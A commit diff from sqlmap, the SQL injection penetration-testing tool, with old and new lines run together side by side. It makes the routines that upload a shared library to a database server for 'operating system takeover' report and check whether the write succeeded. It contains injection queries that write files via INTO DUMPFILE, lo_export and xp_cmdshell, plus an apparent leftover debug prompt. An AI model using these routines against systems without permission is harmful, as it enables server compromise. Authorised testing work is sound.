This commit is contained in:
Bernardo Damele 2013-01-23 01:27:01 +00:00
parent f3ff239e62
commit d8a0e7eacb
6 changed files with 60 additions and 20 deletions

View File

@ -15,6 +15,7 @@ from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion from lib.core.shell import autoCompletion
from lib.request import inject from lib.request import inject
@ -195,7 +196,11 @@ class Abstraction(Web, UDF, Xp_cmdshell):
logger.warn(warnMsg) logger.warn(warnMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.udfInjectSys() success = self.udfInjectSys()
if success is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
if mandatory: if mandatory:
self.xpCmdshellInit() self.xpCmdshellInit()

View File

@ -137,6 +137,8 @@ class UDF:
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def udfInjectCore(self, udfDict): def udfInjectCore(self, udfDict):
written = False
for udf in udfDict.keys(): for udf in udfDict.keys():
if udf in self.createdUdf: if udf in self.createdUdf:
continue continue
@ -145,7 +147,22 @@ class UDF:
if len(self.udfToCreate) > 0: if len(self.udfToCreate) > 0:
self.udfSetRemotePath() self.udfSetRemotePath()
self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary") written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True)
if written is not True:
errMsg = "there has been a problem uploading the shared library, "
errMsg += "it looks like the binary file has not been written "
errMsg += "on the database underlying file system"
logger.error(errMsg)
message = "do you want to proceed anyway? Beware that the "
message += "operating system takeover will fail [y/N] "
choice = readInput(message, default="N")
if choice and choice.lower() == "y":
written = True
else:
return False
for udf, inpRet in udfDict.items(): for udf, inpRet in udfDict.items():
if udf in self.udfToCreate and udf not in self.createdUdf: if udf in self.udfToCreate and udf not in self.createdUdf:
@ -158,10 +175,12 @@ class UDF:
self.udfCreateSupportTbl(supportTblType) self.udfCreateSupportTbl(supportTblType)
return written
def udfInjectSys(self): def udfInjectSys(self):
self.udfSetLocalPaths() self.udfSetLocalPaths()
self.udfCheckNeeded() self.udfCheckNeeded()
self.udfInjectCore(self.sysUdfs) return self.udfInjectCore(self.sysUdfs)
def udfInjectCustom(self): def udfInjectCustom(self):
if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL): if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
@ -297,7 +316,11 @@ class UDF:
self.udfs[udfName]["return"] = retType self.udfs[udfName]["return"] = retType
break break
self.udfInjectCore(self.udfs) success = self.udfInjectCore(self.udfs)
if success is False:
self.cleanup(udfDict=self.udfs)
return False
msg = "do you want to call your injected user-defined " msg = "do you want to call your injected user-defined "
msg += "functions now? [Y/n/q] " msg += "functions now? [Y/n/q] "

View File

@ -326,7 +326,7 @@ class Filesystem(GenericFilesystem):
self.execCmd(complComm) self.execCmd(complComm)
def stackedWriteFile(self, wFile, dFile, fileType): def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
# NOTE: this is needed here because we use xp_cmdshell extended # NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server # procedure to write a file on the back-end Microsoft SQL Server
# file system # file system
@ -341,9 +341,9 @@ class Filesystem(GenericFilesystem):
self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType)
sameFile = self.askCheckWrittenFile(wFile, dFile) written = self.askCheckWrittenFile(wFile, dFile)
if sameFile is False: if written is False:
message = "do you want to try to upload the file with " message = "do you want to try to upload the file with "
message += "another technique? [Y/n] " message += "another technique? [Y/n] "
choice = readInput(message, default="Y") choice = readInput(message, default="Y")
@ -351,4 +351,6 @@ class Filesystem(GenericFilesystem):
if not choice or choice.lower() == "y": if not choice or choice.lower() == "y":
self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
#self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) #self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType)
self.askCheckWrittenFile(wFile, dFile) written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
return written

View File

@ -104,7 +104,7 @@ class Filesystem(GenericFilesystem):
warnMsg += "file as a leftover from UNION query" warnMsg += "file as a leftover from UNION query"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
def stackedWriteFile(self, wFile, dFile, fileType): def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
debugMsg = "creating a support table to write the hexadecimal " debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to" debugMsg += "encoded file to"
logger.debug(debugMsg) logger.debug(debugMsg)
@ -131,4 +131,4 @@ class Filesystem(GenericFilesystem):
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True) inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
self.askCheckWrittenFile(wFile, dFile) return self.askCheckWrittenFile(wFile, dFile, forceCheck)

View File

@ -33,7 +33,7 @@ class Filesystem(GenericFilesystem):
errMsg += "query SQL injection technique" errMsg += "query SQL injection technique"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
def stackedWriteFile(self, wFile, dFile, fileType): def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
wFileSize = os.path.getsize(wFile) wFileSize = os.path.getsize(wFile)
if wFileSize > 8192: if wFileSize > 8192:
@ -110,6 +110,8 @@ class Filesystem(GenericFilesystem):
# (pg_largeobject 'data' field) # (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
self.askCheckWrittenFile(wFile, dFile) written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
return written

View File

@ -135,13 +135,17 @@ class Filesystem:
return retVal return retVal
def askCheckWrittenFile(self, localFile, remoteFile): def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False):
message = "do you want confirmation that the local file '%s' " % localFile output = None
message += "has been successfully written on the back-end DBMS " if forceCheck is not True:
message += "file system (%s)? [Y/n] " % remoteFile message = "do you want confirmation that the local file '%s' " % localFile
output = readInput(message, default="Y") message += "has been successfully written on the back-end DBMS "
message += "file system (%s)? [Y/n] " % remoteFile
output = readInput(message, default="Y")
if not output or output in ("y", "Y"): readInput("press ENTER to continue :)")
if forceCheck or (not output or output in ("y", "Y")):
return self._checkFileLength(localFile, remoteFile) return self._checkFileLength(localFile, remoteFile)
return True return True
@ -249,7 +253,9 @@ class Filesystem:
return localFilePaths return localFilePaths
def writeFile(self, localFile, remoteFile, fileType=None): def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
written = False
self.checkDbmsOs() self.checkDbmsOs()
if localFile.endswith('_'): if localFile.endswith('_'):
@ -261,7 +267,7 @@ class Filesystem:
debugMsg += "stacked query SQL injection technique" debugMsg += "stacked query SQL injection technique"
logger.debug(debugMsg) logger.debug(debugMsg)
self.stackedWriteFile(localFile, remoteFile, fileType) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
debugMsg = "going to upload the %s file with " % fileType debugMsg = "going to upload the %s file with " % fileType
@ -276,3 +282,5 @@ class Filesystem:
logger.error(errMsg) logger.error(errMsg)
return None return None
return written